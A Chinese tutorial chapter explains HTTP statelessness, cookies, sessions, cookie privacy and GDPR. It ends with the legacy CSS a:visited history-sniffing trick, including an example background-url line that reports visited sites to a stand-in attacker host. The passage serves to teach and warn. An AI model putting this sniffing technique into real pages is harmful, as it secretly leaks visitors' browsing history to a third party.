用户、Cookie、Session

HTTP 是无状态的

“HTTP 是无状态的”,这句话如何理解?
简单的来说,就是页面(数据)通过 HTTP 协议传输的过程中 (单次连接),除了 IP、对方某个不确定的端口之外,接收方不知道是谁以及传递的数据到底是什么;只有接受了数据之后,解码了,才能判断出数据是什么。而且 “数据是什么” 也是由产品设计者、程序员自行决定,压制到待传输的数据中。

举个例子,比如你现在访问 http://domain.com/hello_world_url,也就是往 domain.com 对应 IP 上的服务器连接并传送数据,而服务器接收到数据之前,它并不知道客户端(浏览器) 在访问的 URL 是什么,也不知道对应的域名是什么,更不知道客户端对应了哪个(已登录)用户,服务器只知道客户端的 IP ,以及发数据过来了。数据接收到之后,才进一步交给后端代码进行处理。

而多数网页必然是有状态的,不然不知道用户是谁,更不可能知道用户下单的是什么商品,因为没有状态就无法判断。
网页的状态,基本上是通过 Cookie 实现的。我们客户端(浏览器) 发出的每一个请求,都是连带着当前的 Cookie 一起发送给服务端;服务端解码之后,根据 Cookie 的内容,也就能获得当前用户的信息了、或者其它相关的信息(比如在线商城可以获得每个用户最近浏览的商品)。

用户与 Cookie

网站想知道当前用户是谁,需要通过 Cookie,Cookie 会在每次页面请求时,自动添加到请求数据中发送给服务器。
一般情况下,我们要给一个特殊的 key 存到 Cookie,服务器可以根据这个 key 判断出是哪个用户登录了。如果要退出登录,那么删除掉 Cookie 内对应的特殊 key 就可以了,如有必要,服务端也要额外对应,删除这个 key 相关的数据。
控制 Cookie 有两种方法:

  1. 在客户端使用 Javascript 直接修改 Cookie,因为 Cookie 是存在客户端(浏览器)中的;
  2. 在服务端中,当要返回 response 给浏览器时,可以在 Response 中声明 Cookie。

Cookie 与 Session

一般来说,Session 保存的数据,并不直接呈现在 Cookie 中,而是往 Cookie 里记录了一个 session_id,然后在服务器端存储一个以这个 session_id 为主键的数据,记录当前 session(也翻译为会话)对应的各种属性,而这个 session_id 也会存储到客户端浏览器的 Cookie 中。
有人简单地概括: Cookie=客户端,Session=服务端
但这个概括,多数时候、多数人的技术实现而言,也的确如此。只是,这并不正确。

一般情况下,Session 记录的数据量是很小的。我们可以将原本需要存入到服务器端数据库内的 session 数据,直接存在 Cookie 中,那么就是 Session==Cookie 的场景了。
唯一的问题,就是 Cookie 是用户可以修改的,换句话说,如果访客直接把 Cookie 的值改了,那就成了『作弊』,一般意义上也算被黑了。 不要相信用户的输入!
为了解决这个问题,我们可以使用一个密钥,将 Cookie 内的值进行加密,然后在服务端需要的时候,再将其解密,就可以了。

我们还可以将这机制取个名字,叫 分布式 Session 系统
这个名字很形象地概括了它的特性,并非有意拔高到“高大上”。所以说,有些术语看起来很硬核,比如 分布式,但在实际场景中,未必都是那么复杂的,也可以有很简单的实现方式。

Cookie 与隐私

Cookie 涉及到巨大的隐私问题,但同时,如果网页中无法使用 Cookie,那绝大多数的网站就无法正常使用了。
欧盟在 2018年实施的《欧盟通用数据保护条例(GDPR)》明确特定 Cookie 可构成个人数据,这些 Cookie 痕迹可生成个人画像或档案从而识别到具体的人。所以,在 2018 这年,我们能看到很多 (特别是国外的) 网站都会出现,是否接受 Cookie 隐私相关的确认弹窗以及相应的协议。

一方面我不认为欧盟这种做法有什么实质帮助,但另一方面,Cookie 的隐私问题,又是被绝大多数人忽略掉的问题。
大家应该很容易想起这样的场景,比如在某个网上商场搜索了什么商品,然后又在另外一个毫不相关的网站看到相关商品的推荐,甚至可以在某些聊天工具内的页面看到相关商品的广告。进一步联想,你是谁,其实在一些网站内处于实名的状态,Cookie 上的痕迹最终汇集起来,能匹配到 你是谁,数据量大了之后,它们甚至可以做到比你更清楚 你是谁
这很恐怖,是吧?但是不是普遍现象?我没有答案。我们单纯从技术角度考量,这有没有可行性?而最恐怖的地方,在于这件事技术上的可行性很高
如果不在互联网行业真正摸过技术,恐很难对 Do not be evil 感到敬畏。不论如何,保持敬畏吧。相信这个课程的一些读者,终会在未来某个时刻,纯技术的能力可以超越我几个级别,这时,敬畏 的价值就会呈现出来了。

继续探讨隐私

关于隐私问题,当然不能因噎废食。
但,只有 Cookie 能产生巨大的隐私问题吗?

先问几个问题:

  1. 世界上的网站总数是有限的,对吧?
  2. 具有典型特征的、有一定用户量的网站 (比如网上商城作为一个类别,选 100 个网站),数量更有限,对吧?
  3. 我们提取 1000 个、 10000 个、甚至更多的典型网站,如果可以确定某个人访问过这个样本群中的具体哪些网站,是否可以勾勒出这个访客的画像 (这里的画像不是绘画,而是行为特征的归纳)?

我们不由得会问: 可能吗?


我们假设这是可能的,然后,是否觉得很恐怖?!
若是很佛系地看待隐私被探测的可能性,倒也平和,毕竟已是常态。不过,我们再增加一些可能的联想,再完善其动机、流程、结果:

  1. 你点开了朋友发过来的一个 URL (或者说难道你能不点开?);
  2. URL 打开的页面,探测完你的隐私后,直接自动刷新,且再也看不到探测性的脚本,根本无法察觉;
  3. “朋友” 已经知道了你访问过的网站图谱;
  4. “朋友” 刚好要找你办事;
  5. 或者“朋友”正在计划追求你;
  6. “朋友”不但对你有初步的了解,甚至能通过关注某些网站,构建日常聊天内容上的巧合;
  7. “朋友”很懂你了。
  8. 最后请问,“朋友”真的很懂你吗?真的是朋友吗?

在技术可能性的基础上,我们再来说说具体如何实现。

早期版本的一些浏览器中,对 a:visited 这个伪类 (表示一个链接被访问过了) 上的属性没有做严格的限制,你可以给一个链接设定一个比如说 background 这个属性,类似 background: url(http://yourdomain.com/image.png?site=catchyou.com),那么可以想见,指定网站 URL 如果在某个超级链接上是 visited 的状态,这个 background 属性上的图片资源请求就发出去了,然后一条有效的隐私被泄露了,别人已经知道了你曾经访问过 catchyou.com 这个网站。
除了直接的 CSS 样式属性之外,还可以使用 Javascript 的脚本进行探测,哪些 a:visited 上的样式生效了,然后收集数据后,一次性往特定抓隐私数据的服务器上提交……

一说到早期版本,似乎要如释重负了,毕竟现在做不到了,不是吗?
哦。IE6 曾经活得不错,也仍有比例活着的嘛……